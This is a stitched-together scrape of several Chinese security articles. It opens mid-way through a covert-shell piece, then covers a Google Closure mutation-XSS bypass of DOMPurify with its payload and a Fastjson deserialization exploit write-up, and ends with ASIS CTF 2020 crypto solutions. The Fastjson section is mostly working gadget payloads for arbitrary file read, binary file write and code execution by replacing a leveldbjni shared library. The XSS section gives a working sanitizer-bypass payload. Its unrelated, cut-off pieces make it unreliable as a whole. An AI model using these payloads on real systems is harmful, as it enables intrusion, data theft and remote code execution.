这是发送器。您可以看到代码仅适用于localhost，并且有很多限制。我现在只是编写一个隐蔽Shell的概念证明代码，完整的代码将在第二篇中提供…
**动起来，动起来…**
发送器（左图），接收器（右上图），证明命令已经执行（右下图）
**分析师看到的一幕**
“嗯… 在这个主机上的所有数据包的ID和序列号显然不是随机的…我不知道这里发生了什么…”
未完待续…
**传送门**
* * *
[**【技术分享】基于TCP/IP协议栈的隐写术和隐蔽通道（part
2）**](http://bobao.360.cn/learning/detail/3755.html) | 社区文章 |
# 前言
2018年9月26日,开源[Closure](https://github.com/google/closure-library
"Closure")库(最初由谷歌创建并用于谷歌搜索)的一名开发人员创建了一个提交，删除了部分输入过滤。据推测，这是因为开发人员在用户界面设计方面出现了问题。但此次提交的开发人员以及审核人员并未发现这一举动将会导致XSS。
2019年2月，安全研究员M[asato Kinugawa](https://twitter.com/kinugawamasato "asato
Kinugawa")发现了这个漏洞，并将其报告给了Google。Google立即做出反应，并在2019年2月22日修复了漏洞，撤销了之前9月份做的修改。另一位安全专家[LiveOverflow](https://twitter.com/LiveOverflow/status/1112323055127191552
"LiveOverflow")详细描述了如何导致XSS。
# XSS如何发生的？
Closure库中的漏洞很难检测。它依赖于一种很少使用的技术，叫做突变XSS。突变XSS漏洞是由浏览器解释HTML标准的方式不同造成的。
由于浏览器的不同，很难对服务器上的用户输入进行清理。服务器不仅需要考虑浏览器之间的所有差异，还需要考虑它们的版本之间的所有差异。对输入进行过滤以防止XSS的最有效的方法是让浏览器解释输入而不实际执行它。
有一个很好的客户端库用于防止XSS：DOMPurify。这个库也被Closure使用。然而，DOMPurify并不是万能法宝。在极少数情况下，需要额外的过滤操作才能确保万无一失。确切地说，2018年9月随着Closure的更新而删除了额外的过滤操作。
# DOMPurify的工作机制
`DOMPurify`使用`template`元素清除用户输入。浏览器以不同的方式处理div元素的`innerHtml`属性和`template`元素的相同属性。对于div元素，`innerHtml`在赋值后立即执行，对于`tempalte`，执行前可以进行过滤处理。
`DOMPurify`的工作机制是获取用户输入，将其分配给模板元素的innerHtml属性，让浏览器解释它(但不执行它)，从而避免潜在的XSS。然而正是因为这种操作，有可能导致突变XSS。
# 浏览器如何解释无效的HTML？
若要了解浏览器如何解释无效的HTML，请创建一个仅包含以下内容的HTML文档：
<div><script title="</div>">
当您在浏览器中打开它时，您将看到代码被解释为如下所示：
<html>
<head></head>
<body>
<div>
<script title="</div>"></script>
</div>
</body>
</html>
现在，尝试创建一个包含以下内容的HTML文档：
<script><div title="</script>">
浏览器以不同方式解释此代码：
<html>
<head>
<script><div title="</script>
</head>
<body>
">
</body>
</html>
造成这种差别的原因是，当浏览器遇到`<script>`标记时，它会从HTML解析器切换到JavaScript解析器，直到找到结束标记。
# noscript背后的邪恶
在大多数情况下，浏览器将始终以与环境无关的相同方式解释相同的文档。但是，有一种情况下，由于某些客户端环境的原因，这种行为可能会有所不同：这就是`noscript`标签。
HTML规范规定，根据浏览器中是否启用JavaScript，必须对noscript标签进行不同的解释。这种不同的浏览器行为正是Masato
Kinugawa的XSS
Poc的关键一步。结果是，当将无效的HTML代码分配给template元素的innerHtml属性时(禁用了JavaScript)，以及分配给div元素的innerHtml属性时(启用了JavaScript)，对无效的HTML代码的解释是不同的。
# PoC
payload
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
如果禁用JavaScript,浏览器将以下方式解释有效负载：
<noscript>
<p title="</noscript><img src=x onerror=alert(1)>"></p>
</noscript>
`</noscript><img src=x
onerror=alert(1)>`是title参数的值。因此，DOMPurify不会过滤输入内容，因为没有JavaScript，DOMPurify默认不存在XSS风险。
但是，如果启用了JavaScript(对于浏览器使用的div元素)，浏览器将以下方式解释payload：
<noscript><p title="</noscript>
<img src="x" onerror="alert(1)">
"">
"
noscript元素提前结束，img元素被完整地解释，包括onerror属性的JavaScript内容。
# 结论
很难说以前是否有其他人发现此漏洞，以及该漏洞是否已经用于任何恶意目的。由于Closure库也用于其他Google产品，因此此漏洞可能会影响Gmail，地图，文档和其他服务。
原文：https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/?chat_vt=1 | 社区文章 |
**作者：Skay
原文链接：<http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/>**
## 一、Fastjson反序列化原理
这个图其实已经能让人大致理解了，更详细的分析移步
[Fastjson反序列化原理](https://www.mi1k7ea.com/2019/11/03/Fastjson系列一——反序列化漏洞基本原理/)
## 二、byPass checkAutotype
关于CheckAutoType相关安全机制简单理解移步
<https://kumamon.fun/FastJson-checkAutoType/>
以及 <https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA>
<https://www.anquanke.com/post/id/225439>
<https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA>
一句话总结checkAutoType(String typeName, Class<?> expectClass, int features) 方法的
typeName 实现或继承自 expectClass，就会通过检验
## 三、议题中使用的Fastjson 的一些已公开Gadgets
* 必须继承 auto closeable。
* 必须具有默认构造函数或带符号的构造函数，否则无法正确实例化。
* 不在黑名单中
* 可以引起 rce 、任意文件读写或其他高风险影响
* gadget的依赖应该在原生jdk或者广泛使用的第三方库中
Gadget自动化寻找
<https://gist.github.com/5z1punch/6bb00644ce6bea327f42cf72bc620b80>
关于这几条链我们简单复现下
### 1.Mysql JDBC
搭配使用<https://github.com/fnmsd/MySQL_Fake_Server>
import com.alibaba.fastjson.JSON;
public class Payload_test {
public static void main(String[] args){
//搭配使用 https://github.com/fnmsd/MySQL_Fake_Server
String payload_mysqljdbc = "{\"aaa\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.lang.AutoCloseable\", \"@type\":\"\\u0063\\u006f\\u006d.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"192.168.33.128\",\"portToConnectTo\":3306,\"url\":\"jdbc:mysql://192.168.33.128:3306/test?detectCustomCollations=true&autoDeserialize=true&user=\",\"databaseToConnectTo\":\"test\",\"info\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.util.Properties\",\"PORT\":\"3306\",\"statementInterceptors\":\"\\u0063\\u006f\\u006d.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\",\"user\":\"cb\",\"PORT.1\":\"3306\",\"HOST.1\":\"172.20.64.40\",\"NUM_HOSTS\":\"1\",\"HOST\":\"172.20.64.40\",\"DBNAME\":\"test\"}}\n" + "}";
JSON.parse(payload_mysqljdbc);
JSON.parseObject(payload_mysqljdbc);
}
}
更多版本详情参考 <https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg>
### 2.commons-io写文件
<https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg>
#### 2.1 commons-io 2.0 - 2.6
String aaa_8192 = "ssssssssssssss"+Some_Functions.getRandomString(8192);
// String write_name = "C://Windows//Temp//sss.txt";
String write_name = "D://tmp//sss.txt";
String payload_commons_io_filewrite_0_6 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}";
此处在Linux复现时，或者其它环境根据操作系统及进程环境不同fastjson构造函数的调用会出现随机化，在原Poc基础上修改如下即可
#### 2.1 commons-io 2.7.0 - 2.8.0
String payload_commons_io_filewrite_7_8 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\",\"start\":0,\"end\":2147483647},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"charsetName\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}";
### 3.commons-io 逐字节读文件内容
String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"file:///D:/tmp/sss.txt\"},\"charsetName\": \"UTF-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"UTF-8\",\"bytes\": [11]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}";
## 四、New Gadgets 及实现区块链RCE
PPT中提到了，它没有mysql-jdbc链，且为Spring-boot，无法直接写webshell。虽然我们可以覆盖class文件，但是需要root权限，且并不确定charse.jar path。
然后回到目标本身，java tron是tron推出的公链协议的java实现，是一个开源 Java 应用程序，Java-tron 可以在 tron 节点上启用
HTTP 服务内部使用Fastjson解析Json数据。且：
* Leveldb 和 leveldbjni：
* 快速键值存储库
* 被比特币使用，因此被很多公链继承
* 存储区块链元数据，频繁轮询读写
* 需要效率，所以 JNI <https://github.com/fusesource/leveldbjn>
**综上所述，洞主最终利用Fastjson的几个漏洞，结合Levaldbjni的JNI特性，替换/tmp/目录下的so文件最终执行了恶意命令**
### 1.模拟环境 Levaldbjni_Sample
这里我们简单写了一个Levaldbjni的Demo来模拟漏洞环境，
两次执行factory.open(new File("/tmp/lvltest1"), options);都将会加载
/**
* @auther Skay
* @date 2021/8/10 19:35
* @description
*/
import static org.fusesource.leveldbjni.JniDBFactory.factory;
import java.io.File;
import java.io.IOException;
import org.iq80.leveldb.DB;
import org.iq80.leveldb.Options;
public class Levaldbjni_Sample {
public static void main(String[] args) throws IOException, InterruptedException {
Options options = new Options();
Thread.sleep(2000);
options.createIfMissing(true);
Thread.sleep(2000);
DB db = factory.open(new File("/tmp/lvltest"), options);
System.out.println("so file created");
System.out.println("watting attack.......");
Thread.sleep(30000);
System.out.println("Exploit.......");
DB db1 = factory.open(new File("/tmp/lvltest1"), options);
try {
for (int i = 0; i < 1000000; i++) {
byte[] key = new String("key" + i).getBytes();
byte[] value = new String("value" + i).getBytes();
db.put(key, value);
}
for (int i = 0; i < 1000000; i++) {
byte[] key = new String("key" + i).getBytes();
byte[] value = db.get(key);
String targetValue = "value" + i;
if (!new String(value).equals(targetValue)) {
System.out.println("something wrong!");
}
}
for (int i = 0; i < 1000000; i++) {
byte[] key = new String("key" + i).getBytes();
db.delete(key);
}
Thread.sleep(20000);
// Thread.sleep(500000);
} catch (Exception e) {
e.printStackTrace();
} finally {
db.close();
}
}
}
运行时会在tmp目录下生成如下文件
可以看到我们的目标就是替换libleveldbjni-64-5950274583505954902.so
### 2.commons-io 逐字节读文件名
在议题中中对于commons-io的使用是读取/tmp/目录下的随机生成的so文件名，我们现在可以使用file协议读取文件内容了，这里我们使用netdoc协议读取文件名即可，因为是逐字节读取，我们写一个简单的循环判断即可
public static char fakeChar(char[] fileName){
char[] fs=new char[fileName.length+1];
System.arraycopy(fileName,0,fs,0,fileName.length);
for (char i = 1; i <= 127; i++) {
fs[fs.length-1]=i;
String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"netdoc:///tmp/\"},\"charsetName\": \"utf-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"utf-8\",\"bytes\": ["+formatChars(fs)+"]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}";
if (JSON.parse(payload_read_file).toString().indexOf("bOMCharsetName")>0){
return i;
}
}
return 0;
}
执行效果如下
### 3.so文件的修改
这里需要一点二进制的知识，首先确定下我们要修改哪个函数
修改如下即可
### 4.写二进制文件
commons-io的链只支持写文本文件，这里测试了一下，不进行base64编码进行单纯文本方式操作二进制文件写入文件前后会产生一些奇妙的变化
议题作者给出了写二进制文件的一条新链
在进行了base64编码后就不存在上述问题，这里感谢浅蓝师傅提供了一些构造帮助，最后此链构造如下：
/**
* @auther Skay
* @date 2021/8/13 14:25
* @description
*/
public class payload_AspectJ_writefile {
public static void write_so(String target_path){
byte[] bom_buffer_bytes = readFileInBytesToString("./beichen.so");
//写文本时要填充数据
// String so_content = new String(bom_buffer_bytes);
// for (int i=0;i<8192;i++){
// so_content = so_content+"a";
// }
// String base64_so_content = Base64.getEncoder().encodeToString(so_content.getBytes());
String base64_so_content = Base64.getEncoder().encodeToString(bom_buffer_bytes);
byte[] big_bom_buffer_bytes = Base64.getDecoder().decode(base64_so_content);
// byte[] big_bom_buffer_bytes = base64_so_content.getBytes();
String payload = String.format("{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
" \"delegate\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
" \"in\":{\n" +
" \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
" \"charset\":\"utf-8\",\n" +
" \"bufferSize\": 1024,\n" +
" \"s\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
" },\n" +
" \"doEncode\":false,\n" +
" \"lineLength\":1024,\n" +
" \"lineSeparator\":\"5ZWKCg==\",\n" +
" \"decodingPolicy\":0\n" +
" },\n" +
" \"branch\":{\n" +
" \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
" \"targetPath\":\"%2$s\"\n" +
" },\n" +
" \"closeBranch\":true\n" +
" },\n" +
" \"include\":true,\n" +
" \"boms\":[{\n" +
" \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bytes\":" +"%3$s\n" +
" }],\n" +
" \"x\":{\"$ref\":\"$.bOM\"}\n" +
"}",base64_so_content, "D://java//Fastjson_All//fastjson_debug//fastjson_68_payload_test_attck//aaa.so",Arrays.toString(big_bom_buffer_bytes));
// System.out.println(payload);
JSON.parse(payload);
}
public static byte[] readFileInBytesToString(String filePath) {
final int readArraySizePerRead = 4096;
File file = new File(filePath);
ArrayList<Byte> bytes = new ArrayList<>();
try {
if (file.exists()) {
DataInputStream isr = new DataInputStream(new FileInputStream(
file));
byte[] tempchars = new byte[readArraySizePerRead];
int charsReadCount = 0;
while ((charsReadCount = isr.read(tempchars)) != -1) {
for(int i = 0 ; i < charsReadCount ; i++){
bytes.add (tempchars[i]);
}
}
isr.close();
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return toPrimitives(bytes.toArray(new Byte[0]));
}
static byte[] toPrimitives(Byte[] oBytes) {
byte[] bytes = new byte[oBytes.length];
for (int i = 0; i < oBytes.length; i++) {
bytes[i] = oBytes[i];
}
return bytes;
}
}
### 5.成功RCE
# 五、参考链接 & 致谢
感谢voidfyoo、浅蓝、 _RicterZ_ 在Fastjson Poc方面帮助
感谢Swing、Beichen 在二进制方面帮助
最后感谢郑成功不断督促和鼓励才使得这篇文章得以顺利展示到大家面前
[https://www.mi1k7ea.com/2019/11/03/Fastjson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/](https://www.mi1k7ea.com/2019/11/03/Fastjson系列一——反序列化漏洞基本原理/)
<https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg>
<http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf>
* * * | 社区文章 |
# 分析ASIS CTF 2020中Crypto方向题目
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
ASIS CTF 2020中有7道Crypto方向道题目，题目难度适中，在这里对这7道题目进行一下分析。
## Baby RSA
**题目信息**
> All babies love RSA. How about you?
>
> 60 pts, 87 solves
>
> [baby_rsa.zip](https://github.com/ichunqiu-> resources/anquanke/raw/master/012/baby_rsa.zip)
**解题思路**
本题中的t_p满足：
t_p ≡ (s * p + 1)^{(d-1)//(2^r)} (mod p)
根据二项式定理可知，t_p的展开式中仅有1项不包含`s * p`，且该项的值为1，因此有：
t_p ≡ 1 (mod p)
即`t_p - 1`是p的倍数，又因为N也是p的倍数，因此我们可以通过计算二者的最大公约数来求出p，即：
p = gcd(t_p-1, N)
**解题脚本**
from Crypto.Util.number import *
import math
e = 65537
n = 10594734342063566757448883321293669290587889620265586736339477212834603215495912433611144868846006156969270740855007264519632640641698642134252272607634933572167074297087706060885814882562940246513589425206930711731882822983635474686630558630207534121750609979878270286275038737837128131581881266426871686835017263726047271960106044197708707310947840827099436585066447299264829120559315794262731576114771746189786467883424574016648249716997628251427198814515283524719060137118861718653529700994985114658591731819116128152893001811343820147174516271545881541496467750752863683867477159692651266291345654483269128390649
t_p = 4519048305944870673996667250268978888991017018344606790335970757895844518537213438462551754870798014432500599516098452334333141083371363892434537397146761661356351987492551545141544282333284496356154689853566589087098714992334239545021777497521910627396112225599188792518283722610007089616240235553136331948312118820778466109157166814076918897321333302212037091468294236737664634236652872694643742513694231865411343972158511561161110552791654692064067926570244885476257516034078495033460959374008589773105321047878659565315394819180209475120634087455397672140885519817817257776910144945634993354823069305663576529148
ct = 5548605244436176056181226780712792626658031554693210613227037883659685322461405771085980865371756818537836556724405699867834352918413810459894692455739712787293493925926704951363016528075548052788176859617001319579989667391737106534619373230550539705242471496840327096240228287029720859133747702679648464160040864448646353875953946451194177148020357408296263967558099653116183721335233575474288724063742809047676165474538954797346185329962114447585306058828989433687341976816521575673147671067412234404782485540629504019524293885245673723057009189296634321892220944915880530683285446919795527111871615036653620565630
p = math.gcd(t_p - 1, n)
q = n//p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
pt = pow(ct, d, n)
flag = long_to_bytes(pt)
print(flag)
# ASIS{baby___RSA___f0r_W4rM_uP}
## Elliptic Curve
**题目信息**
> Are all elliptic curves smooth and projective?
> nc 76.74.178.201 9531
>
> 122 pts, 35 solves
**解题思路**
nc到服务器上后会得到如下形式的提示信息和一组数据，我们以该组数据为例进行分析：
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ hi! There are three integer points such that (x, y), (x+1, y), and +
+ (x+2, y) lies on the elliptic curve E. You are given one of them!! +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
| One of such points is: P = (115698361452488238974138338877015059520521276799423896174180366779377621159382, 48211203852207979498593491920521330056163455005850597977840919840771542696861)
| Send the 17056578922004621506165926329396418048448214457100470575439939522285914558570 * P
题目告诉我们(x,y)、(x+1,y)和(x+2,y)是某曲线上的3个点，并告诉们了其中某个点的值，但并没说是哪个点，然后让我们提交该点乘一个常数的值，那么实际上就是想考察选手根据这些信息能否唯一确定一条椭圆曲线，由于我们没有源码，我们假定本题为E_p(a,b)形式的曲线，即：
y^2 ≡ x^3+a * x+b (mod p) (1)
根据这3个点的特征，我们可以列出如下方程：
y^2 ≡ x^3 + a * x + b (mod p) (2)
y^2 ≡ (x + 1)^3 + a * (x + 1) + b (mod p) (3)
y^2 ≡ (x + 2)^3 + a * (x + 2) + b (mod p) (4)
联立(2)、(3)式，可得：
a = -3x^2-3x-1 (5)
联立(2)、(4)式，可得：
a = -3x^2-6x-4 (6)
联立(5)、(6)式，可得`x = -1`，把`x = -1`带入(5)式，可得`a = -1`。
通过(6)式我们可知，曲线上的3个点为(-1,y)、(0,y)和(1,y)，其中后2个点的横坐标为0和1，显然示例数据中的点P并不符合这两种情况，那么点P只能表示(-1,y)这一点，即有：
P_x ≡ -1 (mod p)
也即`p = P_x-1`，此时a和p的值我们都已经确定下来了，可以确定b为：
b ≡ {P_y}^2 - {P_x}^3 - a * P_x (mod p)
a、b和p都确定下来后，曲线表达式确定，直接计算即可。
**解题脚本**
import hashlib
import string
import random
from Crypto.Util.number import *
from pwn import *
dic = string.ascii_letters + string.digits
def bypass_POW(r):
st = r.recv().strip().split(b"(X)[-6:] = ")
hash_type = st[0].split(b"that ")[1].decode()
suffix = st[1][:6].decode()
len = int(st[1][-2:])
while True:
ans = ''.join(random.choices(dic, k=len))
h = getattr(hashlib, hash_type)(ans.encode()).hexdigest()
if h.endswith(suffix):
return ans
def point_add(p1, p2):
if (p1 is None):
return p2
if (p2 is None):
return p1
if (p1[0] == p2[0] and p1[1] != p2[1]):
return None
if (p1 == p2):
l = ((3 * p1[0] * p1[0] + a) * inverse(2 * p1[1], p)) % p
x3 = (l * l - 2 * p1[0]) % p
y3 = (l * (p1[0] - x3) - p1[1]) % p
return (x3, y3)
else:
lam = ((p2[1] - p1[1]) * pow(p2[0] - p1[0], p - 2, p)) % p
x3 = (lam * lam - p1[0] - p2[0]) % p
return (x3, (lam * (p1[0] - x3) - p1[1]) % p)
def point_mul(p, n):
r = None
for i in range(256):
if ((n >> i) & 1):
r = point_add(r, p)
p = point_add(p, p)
return r
while True:
try:
r = remote("76.74.178.201", 9531)
ans = bypass_POW(r)
r.sendline(ans)
st = r.recvuntil("P = (")
st = r.recvline().strip().replace(b')', b'').split(b',')
P_x, P_y = int(st[0]), int(st[1])
P = (P_x, P_y)
st = r.recvuntil("| Send the ")
st = r.recvline().strip().replace(b" * P :", b'')
k = int(st)
a = -1
p = P_x + 1
b = (P_y**2 - P_x**3 - a*P_x) % p
Q = point_mul(P, k)
r.sendline(str(Q))
sleep(1)
print(r.recv())
break
except:
continue
# ASIS{4n_Ellip71c_curve_iZ_A_pl4Ne_al9ebr4iC_cUrv3}
## Tripolar
**题目信息**
> We all know about magnetic dipoles. Have you ever thought about magnetic
> tripoles?
>
> 156 pts, 26 solves
>
> [tripolar.zip](https://github.com/ichunqiu-> resources/anquanke/raw/master/012/tripolar.zip)
**解题思路**
本题实际上就是在考察如何写出crow函数的逆函数，我们设
A = x + y + z + 1 (1)
B = x + y + 1 (2)
对crow函数的表达式进行配方，得：
crow(x,y,z) = (A^3 + 3B^2 + 2B - 6y - z - 6) // 6
我们知道对于一个形如：
f(x)=x^k+x^{k-1}+x^{k-2}+...+x^2+x+1
的多项式f(x)来讲，其x^k项的值我们可以用f(x)的值开k次根号来进行有效估计，即：
x^k = [\sqrt[k]{f(x)}]
则在本题中我们可以采用类似的方法估计出A和B的值为：
A = [\sqrt[3]{6 * crow(x,y,z)}] (3)
B = [\sqrt[2]{(6 * crow(x,y,z) - A^3) // 3}] (4)
联立 (3)、(4)式，可得：
z = A - B
把z的值同(3)、(4)式代入crow函数的表达式，可得：
y = (-6 * crow(x,y,z) + A^3 + 3B^2 + 2B - z - 6) // 6
把y同(4)式代入(2)式，可得：
x = B - y - 1
至此我们恢复出了x、y和z的值，按照恢复过程即可写出crow函数的逆函数。
**解题脚本**
import gmpy2
from Crypto.Util.number import *
def crow(x, y, z):
return (x**3 + 3*(x + 2)*y**2 + y**3 + 3*(x + y + 1)*z**2 + z**3 + 6*x**2 + (3*x**2 + 12*x + 5)*y + (3*x**2 + 6*(x + 1)*y + 3*y**2 + 6*x + 2)*z + 11*x) // 6
def rev_crow(res, alpha):
A = gmpy2.iroot(6*res, 3)[0]
B = gmpy2.iroot((6*res - A**3)//3, 2)[0] + alpha
z = A - B
y = (-6*res + A**3 + 3*(B**2) + 2*B - z - 6)//6
x = B - y - 1
return (x, y, z)
f = open('flag.enc', 'rb').read()
ct = bytes_to_long(f)
x, y, z = rev_crow(ct, 0)
assert crow(x, y, z) == ct
pk = gmpy2.gcd(x, y)
_enc = x//pk
p, q, r = rev_crow(pk, 1)
assert [i for i in map(isPrime, [p, q, r])] == [1] * 3 and crow(p, q, r) == pk
e = 31337
N = p * q * r
phi = (p - 1) * (q - 1) * (r - 1)
d = inverse(e, phi)
pt = pow(_enc, d, N)
flag = long_to_bytes(pt)
print(flag)
# ASIS{I7s__Fueter-PoLy4__c0nJ3c7UrE_iN_p4Ir1n9_FuNCT10n}
## Dead Drop 1
**题目信息**
> Tap, tap, on roof tops.
> Tic, toc, the clock tocs.
> Inside, what a cold night,
> Dead drop on roof tops!
>
> 164 pts, 24 solves
>
> [dead_drop_1.zip](https://github.com/ichunqiu-> resources/anquanke/raw/master/012/dead_drop_1.zip)
**解题思路**
题目给出了l组数据，对于每组数据`(a_s,(a_0,a_1,...,a_{l-1}))`，有：
a_s ≡ {a_0}^{b_0} * {a_1}^{b_1} * ...{a_{l-1}}^{b_{l-1}} (mod p)
其中p是一个合数，我们可以先尝试对其进行分解：
sage: p = 22883778425835100065427559392880895775739
sage: p.factor()
19 * 113 * 2657 * 6823 * 587934254364063975369377416367
设`p_0 = 587934254364063975369377416367`，那么本题中对模p下的运算可以转换为模p_0下的运算：
a_s ≡ {a_0}^{b_0} * {a_1}^{b_1} * ...{a_{l-1}}^{b_{l-1}} (mod p_0)
易知3为模p_0的一个原根，即模p_0下的任意一个数均可表示为3的次幂的形式，因此有：
3^y ≡ {3}^{x_0} * {3}^{x_1} * ...{3}^{x_{l-1}} (mod p_0)
即有：
y ≡ x_0+x_1+...+x_{l-1} (mod {p_0-1})
这里直接在模p_0-1下计算离散对数去求出y 和x_i是比较困难的，我们可以继续尝试对p_0-1进行分解：
sage: p0 = 587934254364063975369377416367
sage: (p0 - 1).factor()
2 * 19 * 157 * 98547478103262483300264401
可以看到`p_0 - 1`中包含小素因子，我们以157为例，令`r = 157，t = {p_0} // r`，此时有：
3^{y * t} ≡ {3}^{x_0 * t} * {3}^{x_1 * t} * ...{3}^{x_{l-1} * t} (mod p_0)
然后我们可以打一张长度为r的表，对于闭区间[0,r-1]内的每一个值i，向表中存储其在模p_0下原根3的`t * i`次幂的值及该i值：
p0 = 587934254364063975369377416367
r = 157
t = p0 // r
dic = {}
for i in range(r):
dic.update({pow(pow(3, t, p0), i, p0) : i})
然后对每一个3^y和3^{x_i}进行查表，这里以对3^y进行查表为例，设得到的值为z，则有：
3^{y * t} ≡ 3^{z * t} (mod {p_0})
即有：
y * t ≡ z * t (mod {p_0-1})
即：
y ≡ z (mod r)
